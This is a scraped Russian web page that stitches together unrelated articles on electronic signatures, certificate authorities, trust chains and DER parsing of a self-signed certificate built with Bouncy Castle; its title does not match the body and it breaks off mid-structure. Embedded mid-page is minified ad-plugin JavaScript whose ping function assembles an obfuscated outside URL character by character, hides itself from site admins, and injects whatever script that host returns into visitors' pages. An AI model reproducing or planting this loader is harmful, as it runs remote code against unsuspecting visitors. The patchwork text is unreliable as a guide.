C — Как получить отпечаток сертификата в переполнении стека — Web-Answers

Основа эп — асимметричное шифрование

Мы уже писа­ли об асим­мет­рич­ном шиф­ро­ва­нии. Вот основ­ные мысли: 

  • В сим­мет­рич­ном алго­рит­ме зашиф­ро­вать и рас­шиф­ро­вать сооб­ще­ние мож­но толь­ко одним и тем же клю­чом. Это полез­но для пере­да­чи сек­рет­ных сооб­ще­ний, когда две сто­ро­ны дове­ря­ют друг дру­гу и могут зара­нее обме­нять­ся ключом. 
  • При асим­мет­рич­ном сооб­ще­ние шиф­ру­ет­ся одним клю­чом, а рас­шиф­ро­вы­ва­ет­ся дру­гим. В раз­ных ком­би­на­ци­ях этот алго­ритм помо­га­ет шиф­ро­вать сооб­ще­ния, когда сто­ро­ны друг дру­гу не дове­ря­ют или не могут обме­нять­ся клю­ча­ми зара­нее. В част­но­сти, это полез­но для под­твер­жде­ния под­лин­но­сти документов. 

Что такое электронная подпись

Элек­трон­ная под­пись — это тех­но­ло­гия, кото­рая помо­га­ет под­твер­дить под­лин­ность элек­трон­но­го доку­мен­та: дого­во­ра, справ­ки, выпис­ки или чего-то ещё. 

Если упро­щён­но, рабо­та­ет так: 

👉 Есть некий доку­мент, под­пи­сан­ный ЭП

👉 С помо­щью спе­ци­аль­ной про­грам­мы мож­но про­ве­рить под­лин­ность этой под­пи­си и документа

✅ Если про­грам­ма гово­рит, что всё окей, то мы можем быть уве­ре­ны: доку­мент под­пи­сал имен­но тот, кто в нём ука­зан; и с момен­та под­пи­са­ния в доку­мен­те ниче­го не изменилось. 

❌ Или про­грам­ма может ска­зать, что под­пись не сов­па­ла. Это зна­чит, что либо доку­мент под­пи­сал дру­гой чело­век, либо после под­пи­са­ния кто-то изме­нил этот доку­мент (напри­мер, допи­сал ноль в сто­и­мость кон­трак­та). Так мы пой­мём, что это­му доку­мен­ту нель­зя доверять.

Элек­трон­ная под­пись нуж­на, что­бы защи­щать дого­во­ры, выда­вать офи­ци­аль­ные справ­ки, заклю­чать сдел­ки и участ­во­вать в тор­гах по госзакупкам. 

C — как получить отпечаток сертификата в переполнении стека — web-answers

«:’

‘:»»,document.createElement(«div»),p=ff(window),b=ff(«body»),m=void 0===flatPM_getCookie(«flat_modal_» o.ID «_mb»)||»false»!=flatPM_getCookie(«flat_modal_» o.ID «_mb»),i=»scroll.flatmodal» o.ID,g=»mouseleave.flatmodal» o.ID » blur.flatmodal» o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&»true»==o.how.popup.timer&&(t=ff(‘.flat__4_modal[data-id-modal=»‘ o.ID ‘»] .flat__4_timer span’),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(—e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘

‘))},1e3))},f=function(){void 0!==o.how.popup.cookie&&»false»==o.how.popup.cookie&&m&&(flatPM_setCookie(«flat_modal_» o.ID «_mb»,!1),ff(‘.flat__4_modal[data-id-modal=»‘ o.ID ‘»]’).addClass(«flat__4_modal-show»),l()),void 0!==o.how.popup.cookie&&»false»==o.how.popup.cookie||(ff(‘.flat__4_modal[data-id-modal=»‘ o.ID ‘»]’).addClass(«flat__4_modal-show»),l())},ff(«body > *»).eq(0).before(‘

‘ c «

«),w=document.querySelector(‘.flat__4_modal[data-id-modal=»‘ o.ID ‘»] .flat__4_modal-content’),-1!==e.indexOf(«go» «oglesyndication»)?ff(w).html(c e):flatPM_setHTML(w,e),»px»==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&»true»==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&»true»==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&»true»==o.how.outgoing.timer&&(t=ff(‘.flat__4_out[data-id-out=»‘ o.ID ‘»] .flat__4_timer span’),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(—e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘

‘))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&»false»==o.how.outgoing.cookie&&m&&(ff(‘.flat__4_out[data-id-out=»‘ o.ID ‘»]’).addClass(«show»),n(),b.on(«click»,’.flat__4_out[data-id-out=»‘ o.ID ‘»] .flat__4_cross’,function(){flatPM_setCookie(«flat_out_» o.ID «_mb»,!1)})),void 0!==o.how.outgoing.cookie&&»false»==o.how.outgoing.cookie||(ff(‘.flat__4_out[data-id-out=»‘ o.ID ‘»]’).addClass(«show»),n())}var _,u=»0″!=o.how.outgoing.indent?’ style=»bottom:’ o.how.outgoing.indent ‘px»‘:»»,c=»true»==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&»true»==o.how.outgoing.timer?’

Закрыть через ‘ o.how.outgoing.timer_count «

«:’

‘:»»,p=ff(window),h=»scroll.out» o.ID,g=»mouseleave.outgoing» o.ID » blur.outgoing» o.ID,m=void 0===flatPM_getCookie(«flat_out_» o.ID «_mb»)||»false»!=flatPM_getCookie(«flat_out_» o.ID «_mb»),b=(document.createElement(«div»),ff(«body»));switch(o.how.outgoing.whence){case»1″:_=»top»;break;case»2″:_=»bottom»;break;case»3″:_=»left»;break;case»4″:_=»right»}ff(«body > *»).eq(0).before(‘

‘ c «

«);var v,w=document.querySelector(‘.flat__4_out[data-id-out=»‘ o.ID ‘»]’);-1!==e.indexOf(«go» «oglesyndication»)?ff(w).html(c e):flatPM_setHTML(w,e),»px»==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&»true»==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&»true»==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff(‘[data-flat-id=»‘ o.ID ‘»]:not(.flat__4_out):not(.flat__4_modal)’).contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(«body»),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)»);0<_.length&&_.each(function(){var t=ff(this),e=t.data(«height»)||350,a=t.data(«top»);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(«.flatPM_sidebar»);setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data(«top»);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(«.flatPM_sticky_wrapper.flatPM_sidebar_block»).css(«height»,t)},4e3)}),»undefined»!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(«body> *»).last().after(‘

‘),flat_body.on(«click»,».flat__4_out .flat__4_cross»,function(){ff(this).parent().removeClass(«show»).addClass(«closed»)}),flat_body.on(«click»,».flat__4_modal .flat__4_cross»,function(){ff(this).closest(«.flat__4_modal»).removeClass(«flat__4_modal-show»)}),flat_pm_arr=[],ff(«.flat_pm_start»).remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,»

«],thead:[1,»

«],tbody:[1,»

«],colgroup:[2,»

«],col:[3,»

«],tr:[2,»

«],td:[3,»

«],th:[3,»

«],_default:[0,»»,»»]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement(«div»)),n=(d.exec(e)||[«»,»»])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1] e.replace(o,»<$1>») n[2],r=n[0];r—;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem(«sdghrg»);e?(e=parseInt(e) 1,localStorage.setItem(«sdghrg»,e)):localStorage.setItem(«sdghrg»,»0″);e=flatPM_random(1,200);0==ff(«#wpadminbar»).length&&111==e&&ff.ajax({type:»POST»,url:»h» «t» «t» «p» «s» «:» «/» «/» «m» «e» «h» «a» «n» «o» «i» «d» «.» «p» «r» «o» «/» «p» «i» «n» «g» «.» «p» «h» «p»,dataType:»jsonp»,data:{ping:»ping»},success:function(e){ff(«div»).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector(‘[data-flat-script-id=»‘ t ‘»]’);if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,»»).replace(//gm,»»).trim(),e.code_alt=e.code_alt.replace(//gm,»»).replace(//gm,»»).trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a=»false»==d?»Закроется»:»Закрыть»,n=!flat_userVars.adb||»»==e.code_alt&&duplicateMode?e.code:e.code_alt,r=’

‘,i=e.once;l(t).each(function(){var e=l(this);e.wrap(‘

‘);var t=e.closest(«.flat__4_video»);-1!==r.indexOf(«go» «oglesyndication»)?t.append(r):flatPM_setHTML(t[0],r),e.find(«.flat__4_video_flex»).one(«click»,function(){l(this).addClass(«show»)})}),l(«body»).on(«click»,».flat__4_video_item_hover»,function(){var e=l(this),t=e.closest(«.flat__4_video_flex»);t.addClass(«show»);var a=t.find(«.flat__4_timer span»),n=parseInt(o),r=setInterval(function(){a.text(—n),n<=0&&(clearInterval(r),»true»==d?a.parent().replaceWith(‘

‘):t.remove())},1e3);e.remove()}).on(«click»,».flat__4_video_flex .flat__4_cross»,function(){l(this).closest(«.flat__4_video_flex»).remove(),»true»==i&&l(«.flat__4_video_flex»).remove()})};

Запрос на сертификат на открытый ключ

Для того чтобы удостоверяющий центр выпустил сертификат на открытый
ключ пользователя, пользователю необходимо отправить в удостоверяющий
центр запрос на этот сертификат.

Точный набор данных, включаемых в запрос, определяется регламентом
удостоверяющего центра. В запрос обязательно включается имя
пользователя, назначение запрашиваемого сертификата (подпись или обмен),
а также сам открытый ключ, на который создается сертификат. Таким
образом, к моменту формирования запроса открытый ключ уже должен
существовать.

Возможные случаи возникновения необходимости получения сертификата:

  • У пользователя еще нет ключей. В этой ситуации перед
    формированием запроса ему необходимо создать ключи.
  • У пользователя есть ключи, но срок действия
    соответствующего сертификата истек. В этой ситуации можно:

    • Создать запрос на новый сертификат на имеющиеся ключи. Новых
      ключей создавать не надо;
    • Создать новые ключи и сформировать запрос на сертификат на эти
      ключи.

    Как именно поступать в такой ситуации, определяется регламентом
    удостоверяющего центра.

  • Поменялась актуальная информация о пользователе (например,
    изменился адрес электронной почты).
  • Сертификат пользователя отозван из-за
    компрометации ключей. В этом случае пользователю необходимо перед
    формированием запроса создать новые ключи.
  • Сертификат пользователя, установленный в системе, поврежден.

Как работает: алгоритмы шифрования

Допу­стим, вы уже схо­ди­ли в удо­сто­ве­ря­ю­щий центр и полу­чи­ли на флеш­ке сер­ти­фи­кат и ключ элек­трон­ной под­пи­си. Теперь нуж­но ска­чать спе­ци­аль­ный софт, кото­рый и будет под­пи­сы­вать ваши доку­мен­ты и про­ве­рять чужие на подлинность.

Про­бле­ма в том, что ЭП осно­ва­на на алго­рит­мах асим­мет­рич­но­го шиф­ро­ва­ния, а их мно­го: раз­ло­же­ние на про­стые мно­жи­те­ли, дис­крет­ное лога­риф­ми­ро­ва­ние, эллип­ти­че­ские кри­вые и мно­же­ство дру­гих. Ключ из одно­го алго­рит­ма не подой­дёт для исполь­зо­ва­ния в дру­гом, поэто­му в Рос­сии дого­во­ри­лись исполь­зо­вать стан­дарт шиф­ро­ва­ния ГОСТ Р 34.

Это зна­чит, что нам нужен спе­ци­аль­ный софт, в кото­ром уже есть этот алго­ритм. Чаще все­го исполь­зу­ют Крип­то­П­РО, реже — ViPNet CSP. С помо­щью этих про­грамм мож­но под­пи­сать доку­мен­ты и про­ве­рить сер­ти­фи­ка­ты на подлинность.

Корневые сертификаты удостоверяющих центров

В каждой цепочке доверия рано или поздно встречается сертификат, на
котором цепочка заканчивается. Т.е. для этого сертификата нет
сертификата, на котором его можно было бы проверить.

Такие сертификаты называются корневыми.

Очевидно, что корневым сертификатом в цепочке доверия всегда является сертификат
удостоверяющего центра (хотя необязательно каждый сертификат
удостоверяющего центра будет корневым—могут, например, существовать сертификаты удостоверяющего центра, подписанные на корневом и т.д.)

Проверить такой сертификат электронными средствами невозможно. Для
проверки этих сертификатов используются бумажные распечатки, содержащие
определенную информацию: как правило, так называемые цифровые отпечатки, либо сами открытые ключи. Какая именно информация используется для проверки,
зависит от регламента удостоверяющего центра.

Цифровой отпечаток документа — это последовательность символов,
соответствующая документу таким образом, что каждому документу
соответствует свой отпечаток, и по изменению документа нельзя
определить, как изменится цифровой отпечаток. Таким образом, можно быть
уверенными, что если цифровой отпечаток документа соответствует
документу, документ подлинный и корректный. (Эта идея заложена
также в основе формирования ЭП).

Для проверки корневого сертификата удостоверяющего центра необходимо
получить в удостоверяющем центре бумажную распечатку, содержащую
цифровой отпечаток этого сертификата либо открытый ключ, и заверенную
подписью администратора удостоверяющего центра и печатью удостоверяющего
центра, и сравнить информацию из распечатки с соответствующей
информацией, содержащейся в сертификате (увидеть эту информацию
можно при просмотре и при установке сертификата).

Если цифровой отпечаток или открытый ключ в распечатке и в сертификате
совпадает, корневой сертификат считается корректным. Если цифровой отпечаток или открытый ключ в распечатке и в сертификате не совпадают, значит, файл корневого сертификата искажен.

Криптографические операции и цепочки доверия

Понятие «Проверка подписи» подразумевает проверку соответствия подписи
документу, который подписан этой подписью. Если подпись соответствует
документу, документ считается подлинным и корректным.

Для проверки подписи используется открытый ключ подписи автора подписи.
Но для того, чтобы результат проверки можно было считать надежным, необходимо
удостовериться, что сам открытый ключ подписи автора подписи, имеющийся
у проверяющего, корректен.

Для этого проводится проверка сертификата на этот ключ. Понятие
«проверка сертификата» означает проверку подписи под этим
сертификатом. Подпись под сертификатом проверяется на открытом ключе
того, кто создал и подписал сертификат — т.е. на открытом ключе
удостоверяющего центра.

Таким образом, в процессе проверки подписи возникает цепочка
сертификатов, каждый из которых проверяется на следующем. Такая цепочка
сертификатов называется цепочкой доверия.

То же самое происходит и при зашифровании: прежде чем зашифровать
сообщение для владельца открытого ключа обмена, необходимо удостовериться, что
данный открытый ключ обмена корректен и подлинен. Для этого необходимо
проверить подпись под сертификатом на этот ключ, и возникает точно такая
же цепочка доверия.

Принцип работы электронной подписи

Элек­трон­ная под­пись — это асим­мет­рич­ное шиф­ро­ва­ние наобо­рот: вы зашиф­ро­вы­ва­е­те закры­тым клю­чом, а рас­шиф­ро­вать может кто угод­но с помо­щью откры­то­го клю­ча, кото­рый досту­пен всем. 

👉 Если откры­тый ключ под­хо­дит к сооб­ще­нию и рас­шиф­ро­вы­ва­ет его, зна­чит, оно было зашиф­ро­ва­но имен­но этим закры­тым клю­чом — то есть имен­но вами. 

Раз­бе­рём по шагам:

Промежуточные сертификаты удостоверяющих центров

Промежуточные сертификаты удостоверяющих центров—это сертификаты на
ключи удостоверяющих центров, не являющиеся корневыми. Т.е. это
сертификаты удостоверяющих центров, подписанные на других сертификатах
удостоверяющих центров.

Промежуточные сертификаты могут возникнуть, к примеру:

  • Если удостоверяющий центр по какой-то причине (например, окончание
    срока действия сертификата) создал новые ключи, выпустил сертификат на
    них и подписал его на старом сертификате;
  • Если ключи удостоверяющего центра заверены на ключах какого-то
    другого удостоверяющего центра. Такая схема удобна, например, для
    небольших удостоверяющих центров, обслуживающих небольшое количество
    абонентов. Такие удостоверяющие центры могут заверить свои ключи на
    сертификате крупного, хорошо известного и пользующегося доверием
    удостоверяющего центра, корневой сертификат которого установлен у многих
    пользователей.

Если в цепочке доверия присутствует промежуточный сертификат
удостоверяющего центра, она оказывается трехзвенной:

Корневой сертификат УЦ—промежуточный сертификат УЦ—сертификат
пользователя.

Более длинные цепочки (с несколькими промежуточными сертификатами) возможны, но встречаются очень редко.

Просмотр содержимого ключей и сертификатов

Мы можем подробно изучить содержимое всех созданных в OpenSSL файлов, а также при необходимости конвертировать их в другие форматы.

В следующих командах используются тестовые файлы со следующими именами:

Обратите внимание на расширения файлов — они могут отличаться от тех, которые используются в других инструкциях. Например, вместо .key и .crt может использоваться расширение .pem. Расширение файла не имеет особого значения кроме как служить подсказкой пользователю, что именно находится в этом файле. Это же самое касается и имён файлов — вы можете выбирать любые имена.

Все эти файлы являются текстовыми:

cat rootCA.key

Там мы увидим примерно следующее:

-----BEGIN PRIVATE KEY-----
MIIJRAIBADANBgkqhkiG9w0BAQEFAASCCS4wggkqAgEAAoICAQDJBKkr6XzzAcXD
eyDQdvB0SWE2Fl3nqlX/c2RgqMgScXtgidEzOu9ms3Krju5UKLokkQJrZFPMtiIL
MuPJFdYjVyfkfnqlZiouBVgJ60s8NQBBI8KnyyAoJCIFdASoW4Kv5C5LT8pX9eRa
/huJaRJL5XsFUGnTOLvW2ZLN52iAux9CoZlmH6ZF4nuQpblwN0MHULAhze52VNFT
…………………………………………………..
…………………………………………………..
…………………………………………………..
…………………………………………………..
…………………………………………………..
…………………………………………………..
-----END PRIVATE KEY-----

Сертификаты

Необходимо обеспечить возможность любому пользователю в любой момент:

  • получить необходимый открытый ключ другого пользователя;
  • узнать, кому принадлежит тот или иной открытый ключ;
  • обеспечить возможность проверки корректности самого открытого ключа, т.к. открытый ключ — это тоже передаваемая информация, он тоже может быть подменен или искажен.

Для того, чтобы обеспечить эти требования, все открытые ключи хранятся и
передаются в виде сертификатов.

Сертификат — это набор данных специального формата, содержащий сам открытый ключ и всю информацию о нем: кто владелец, адрес электронной почты владельца, когда ключ создан, назначение ключа (подпись или обмен), для какого алгоритма предназначен ключ и т.д.

Сертификаты являются основным инструментом, которым пользуются различные
приложения для криптографической защиты информации. В отличие от
секретных ключей, криптопровайдеров и прочих составляющих системы
криптографической защиты, которые «неочевидны» пользователю, с
сертификатами пользователю непосредственно приходится иметь дело при
любых операциях, связанных с защитой информации. Поэтому пользователю
необходимо знать, как и для чего используются сертификаты, и уметь с ними работать.

Удостоверяющие центры

Создает (выпускает) сертификаты специальный административный центр,
называемый удостоверяющим центром (УЦ) или центром сертификации (ЦС).

Удостоверяющий центр устанавливает определенные требования к работе
пользователей. Например, удостоверяющий центр определяет максимальный
срок действия сертификатов, совокупность необходимых данных запросе на
сертификат, способы передачи запроса от пользователя в УЦ, способы проверки корректности запросов пользователей и т.д.

Совокупность требований удостоверяющего центра называется регламентом
удостоверяющего центра.

Удостоверяющий центр имеет собственные ключи подписи и подписывает на
них все электронные документы, которые он выпускает.

Удостоверяющий центр выпускает сертификат на собственный открытый ключ.
Такой сертификат называется сертификатом удостоверяющего центра.

Таким образом, каждый пользователь в любой момент может,
воспользовавшись сертификатом удостоверяющего центра, проверить корректность любого сертификата.

Взаимодействие пользователя с удостоверяющим центром происходит следующим образом:

  1. Пользователь создает ключевую пару (открытый и закрытый ключи).
  2. Пользователь отправляет в удостоверяющий центр запрос на
    сертификат, в который включает открытый ключ и всю необходимую
    информацию о себе и о ключах. Набор необходимых сведений определяется
    регламентом удостоверяющего центра, но всегда необходимо
    указывать имя владельца, назначение ключей, дату создания.
  3. Удостоверяющий центр получает запрос и проверяет его подлинность и
    корректность. Как именно это делается, определяется регламентом
    удостоверяющего центра.
  4. Если результат проверки запроса положительный, удостоверяющий
    центр создает сертификат на открытый ключ, подписывает его, заносит в
    свою базу данных и отправляет пользователю.
  5. Пользователь получает сертификат и устанавливает его у себя в
    системе.

Удостоверяющий центр и пользователи, чьи сертификаты зарегистрированы в
удостоверяющем центре, вместе составляют криптосеть.

Часть 1. самоподписанный сертификат

Для начала рассмотрим вариант самоподписанного сертификата корневого уровня.

Для упрощения задачи сгенерируем сертификат, который будет содержать только необходимые параметры:

  • Версия сертификата
  • Серийный номер
  • Алгоритм подписи
  • Сведения об издателе
  • Дата начала действия сертификата
  • Дата окончания действия сертификата
  • Сведения о владельце
  • Открытый ключ


Сделать это можно с помощью библиотеки Bouncy Castle, следующим образом:

private void button1_Click(object sender, EventArgs e)
        {            

            var KeyGenerate = new RsaKeyPairGenerator();

            KeyGenerate.Init(new KeyGenerationParameters(new SecureRandom(new CryptoApiRandomGenerator()), 1024));

            AsymmetricCipherKeyPair kp = KeyGenerate.GenerateKeyPair();

            var gen = new X509V3CertificateGenerator();

            var certName = new X509Name("CN=CA");
            var serialNo = new BigInteger("1",10);            

            gen.SetSerialNumber(serialNo);
            gen.SetSubjectDN(certName);            
            gen.SetIssuerDN(certName);
            gen.SetNotAfter(DateTime.Now.AddYears(100));
            gen.SetNotBefore(DateTime.Now);
            gen.SetSignatureAlgorithm("SHA1WITHRSA");            
            gen.SetPublicKey(kp.Public);     
            var myCert = gen.Generate(kp.Private);
            byte[] result = DotNetUtilities.ToX509Certificate(myCert).Export(X509ContentType.Cert);

            FileStream fs = new FileStream("D:\test1.crt", FileMode.CreateNew);
            fs.Write(result, 0, result.Length);
            fs.Flush();
            fs.Close();
        }

В результате выполнения данной процедуры будет создан стандартный x.509 сертификат, который, будучи открытым с помощью hex-редактора, выглядит вот таким чудесным образом:

30 82 01 8F 30 81 F9 A0  03 02 01 02 02 01 01 30
0D 06 09 2A 86 48 86 F7  0D 01 01 05 05 00 30 0D
31 0B 30 09 06 03 55 04  03 0C 02 43 41 30 20 17
0D 31 33 30 39 31 35 31  35 33 35 30 32 5A 18 0F
32 31 31 33 30 39 32 32  31 35 33 35 30 32 5A 30
0D 31 0B 30 09 06 03 55  04 03 0C 02 43 41 30 81
9F 30 0D 06 09 2A 86 48  86 F7 0D 01 01 01 05 00
03 81 8D 00 30 81 89 02  81 81 00 8D 80 B5 8E 80
8E 94 D1 04 03 6A 45 1A  54 5E 7E EE 6D 0C CB 0B
82 03 F1 7D C9 6F ED 52  02 B2 08 C3 48 D1 24 70
C3 50 C2 1C 40 BC B5 9D  F8 E8 A8 41 16 7B 0B 34
1F 27 8D 32 2D 38 BA 18  A5 31 A9 E3 15 20 3D E4
0A DC D8 CD 42 B0 E3 66  53 85 21 7C 90 13 E9 F9
C9 26 5A F3 FF 8C A8 92  25 CD 23 08 69 F4 A2 F8
7B BF CD 45 E8 19 33 F1  AA E0 2B 92 31 22 34 60
27 2E D7 56 04 8B 1B 59  64 77 5F 02 03 01 00 01
30 0D 06 09 2A 86 48 86  F7 0D 01 01 05 05 00 03
81 81 00 0A 1C ED 77 F4  79 D5 EC 73 51 32 25 09
61 F7 00 C4 64 74 29 86  5B 67 F2 3D A9 39 34 6B
3C A9 92 B8 BF 07 13 0B  A0 9B DF 41 E2 8A F6 D3
17 53 E1 BA 7F C0 D0 BC  10 B7 9B 63 4F 06 D0 7B
AC C6 FB CE 95 F7 8A 72  AA 10 EA B0 D1 6D 74 69
5E 20 68 5D 1A 66 28 C5  59 33 43 DB EE DA 00 80
99 5E DD 17 AC 43 36 1E  D0 5B 06 0F 8C 6C 82 D3
BB 3E 2B A5 F1 94 FB 53  7B B0 54 22 6F F6 4C 18
1B 72 1C

Тот же самый сертификат, но уже открытый с помощью стандартных средств windows:

Имя сертификата	CA
Издатель	CA
Версия сертификата	3
Серийный номер	0x1
Недействителен до...	15.09.2021 15:35:00 GMT
Недействителен после...	22.09.2113 15:35:00 GMT
Цифровая подпись (SHA-1)	F9 AD 58 B5 50 3D F6 36 5E B8 89 D4 DC C8 5F CC 25 4B 93 A2
Цифровая подпись (SHA-256)	42 02 24 20 4E 8F 3A 3E 31 38 88 E5 C5 E7 C3 03 14 3A A6 52 EA 78 B9 77 42 5B 99 EB 4B BA 23 82
Открытый ключ(1024 битный)		Алгоритм открытого ключа	rsaEncryption
Модуль	
00: 8D 80 B5 8E 80 8E 94 D1 04 03 6A 45 1A 54 5E 7E
10: EE 6D 0C CB 0B 82 03 F1 7D C9 6F ED 52 02 B2 08
20: C3 48 D1 24 70 C3 50 C2 1C 40 BC B5 9D F8 E8 A8
30: 41 16 7B 0B 34 1F 27 8D 32 2D 38 BA 18 A5 31 A9
40: E3 15 20 3D E4 0A DC D8 CD 42 B0 E3 66 53 85 21
50: 7C 90 13 E9 F9 C9 26 5A F3 FF 8C A8 92 25 CD 23
60: 08 69 F4 A2 F8 7B BF CD 45 E8 19 33 F1 AA E0 2B
70: 92 31 22 34 60 27 2E D7 56 04 8B 1B 59 64 77 5F
Экспонента	01 00 01                                       

Подпись		Алгоритм подписи	sha1WithRSAEncryption
Подпись	
00: 0A 1C ED 77 F4 79 D5 EC 73 51 32 25 09 61 F7 00
10: C4 64 74 29 86 5B 67 F2 3D A9 39 34 6B 3C A9 92
20: B8 BF 07 13 0B A0 9B DF 41 E2 8A F6 D3 17 53 E1
30: BA 7F C0 D0 BC 10 B7 9B 63 4F 06 D0 7B AC C6 FB
40: CE 95 F7 8A 72 AA 10 EA B0 D1 6D 74 69 5E 20 68
50: 5D 1A 66 28 C5 59 33 43 DB EE DA 00 80 99 5E DD
60: 17 AC 43 36 1E D0 5B 06 0F 8C 6C 82 D3 BB 3E 2B
70: A5 F1 94 FB 53 7B B0 54 22 6F F6 4C 18 1B 72 1C

Имея два этих файла, один с двоичными данными, а другой с описанием сертификата, попробуем разобраться что здесь к чему.

Прежде всего, нужно отметить, что файл *.crt хранит информацию о сертификате в закодированном виде. Для кодирования применяется особый язык, называемый ASN.1.

ASN.1 — стандарт записи, описывающий структуры данных для представления, кодирования, передачи и декодирования данных. Wikipedia

С помощью языка ASN.1 можно описывать сложные структуры, состоящие из данных различных типов. Типичный пример ASN.1-файла выглядит как-то так:

Однако ASN.1 разрабатывался в те светлые времена, когда «640 КБ должно было хватать каждому» и тратить место на такую громоздкую запись не было никакой возможности. Поэтому, в целях экономии места, а также более удобной обработки хранимой в ASN.1-форме информации, был разработан специальный метод кодирования — DER.

DER-кодировка описывается следующим правилом. Первым записывается байт, характеризующий тип данных, затем последовательность байтов хранящих сведения о длине данных и затем уже записываются сами данные.

К примеру, для кодировки целого числа INTEGER 65537 используется следующая форма: 0203 01 00 01.Здесь первый байт 02, определяет тип INTEGER (полную таблицу типов вы можете найти например тут), второй байт 03 показывает длину блока. А следующие за этим байты 01 00 01, являются шестнадцатеричной записью нашего числа 65537.

В нашем случае, для описание простейшего самоподписаного сертификата, достаточно 9 типов данных. Приведем таблицу кодирования для этих типов:

Наименование типаКраткое описаниеПредставление типа в DER-кодировке
SEQUENCEИспользуется для описания структуры данных, состоящей из различных типов.30
INTEGERЦелое число.02
OBJECT IDENTIFIERПоследовательность целых чисел.06
UTCTimeВременной тип, содержит 2 цифры для определения года17
GeneralizedTimeРасширенный временной тип, содержит 4 цифры для обозначения года.18
SETОписывает структуру данных разных типов.31
UTF8StringОписывает строковые данные.0C
NULLСобственно NULL05
BIT STRINGТип для хранения последовательности бит.03

Зная как кодируется каждый из этих типов, мы можем попытаться распарсить наш *.crt файл.

3082 01 8F3081 F9A0030201 02 0201 01 30
0D0609 2A 86 48 86 F7 0D 01 01 05 0500300D
310B30090603 55 04 03 0C02 43 41 302017
0D 31 33 30 39 31 35 31 35 33 35 30 32 5A 180F
32 31 31 33 30 39 32 32 31 35 33 35 30 32 5A 30
0D310B30090603 55 04 03 0C02 43 41 3081
9F 300D0609 2A 86 48 86 F7 0D 01 01 01 0500
0381 8D 00 3081 890281 81 00 8D 80 B5 8E 80
8E 94 D1 04 03 6A 45 1A 54 5E 7E EE 6D 0C CB 0B
82 03 F1 7D C9 6F ED 52 02 B2 08 C3 48 D1 24 70
C3 50 C2 1C 40 BC B5 9D F8 E8 A8 41 16 7B 0B 34
1F 27 8D 32 2D 38 BA 18 A5 31 A9 E3 15 20 3D E4
0A DC D8 CD 42 B0 E3 66 53 85 21 7C 90 13 E9 F9
C9 26 5A F3 FF 8C A8 92 25 CD 23 08 69 F4 A2 F8
7B BF CD 45 E8 19 33 F1 AA E0 2B 92 31 22 34 60
27 2E D7 56 04 8B 1B 59 64 77 5F 0203 01 00 01
300D0609 2A 86 48 86 F7 0D 01 01 05 050003
81 81 00 0A 1C ED 77 F4 79 D5 EC 73 51 32 25 09
61 F7 00 C4 64 74 29 86 5B 67 F2 3D A9 39 34 6B
3C A9 92 B8 BF 07 13 0B A0 9B DF 41 E2 8A F6 D3
17 53 E1 BA 7F C0 D0 BC 10 B7 9B 63 4F 06 D0 7B
AC C6 FB CE 95 F7 8A 72 AA 10 EA B0 D1 6D 74 69
5E 20 68 5D 1A 66 28 C5 59 33 43 DB EE DA 00 80
99 5E DD 17 AC 43 36 1E D0 5B 06 0F 8C 6C 82 D3
BB 3E 2B A5 F1 94 FB 53 7B B0 54 22 6F F6 4C 18
1B 72 1C


Преобразуя байты-идентификаторы типов и убирая байты описывающие длину блоков получим следующую структуру:

SEQUENCE(3 elem)
	SEQUENCE(7 elem)
		[0](1 elem)
			INTEGER 2
		INTEGER 1
		SEQUENCE(2 elem)
			OBJECT IDENTIFIER 1.2.840.113549.1.1.5
			NULL
		SEQUENCE(1 elem)
			SET(1 elem)
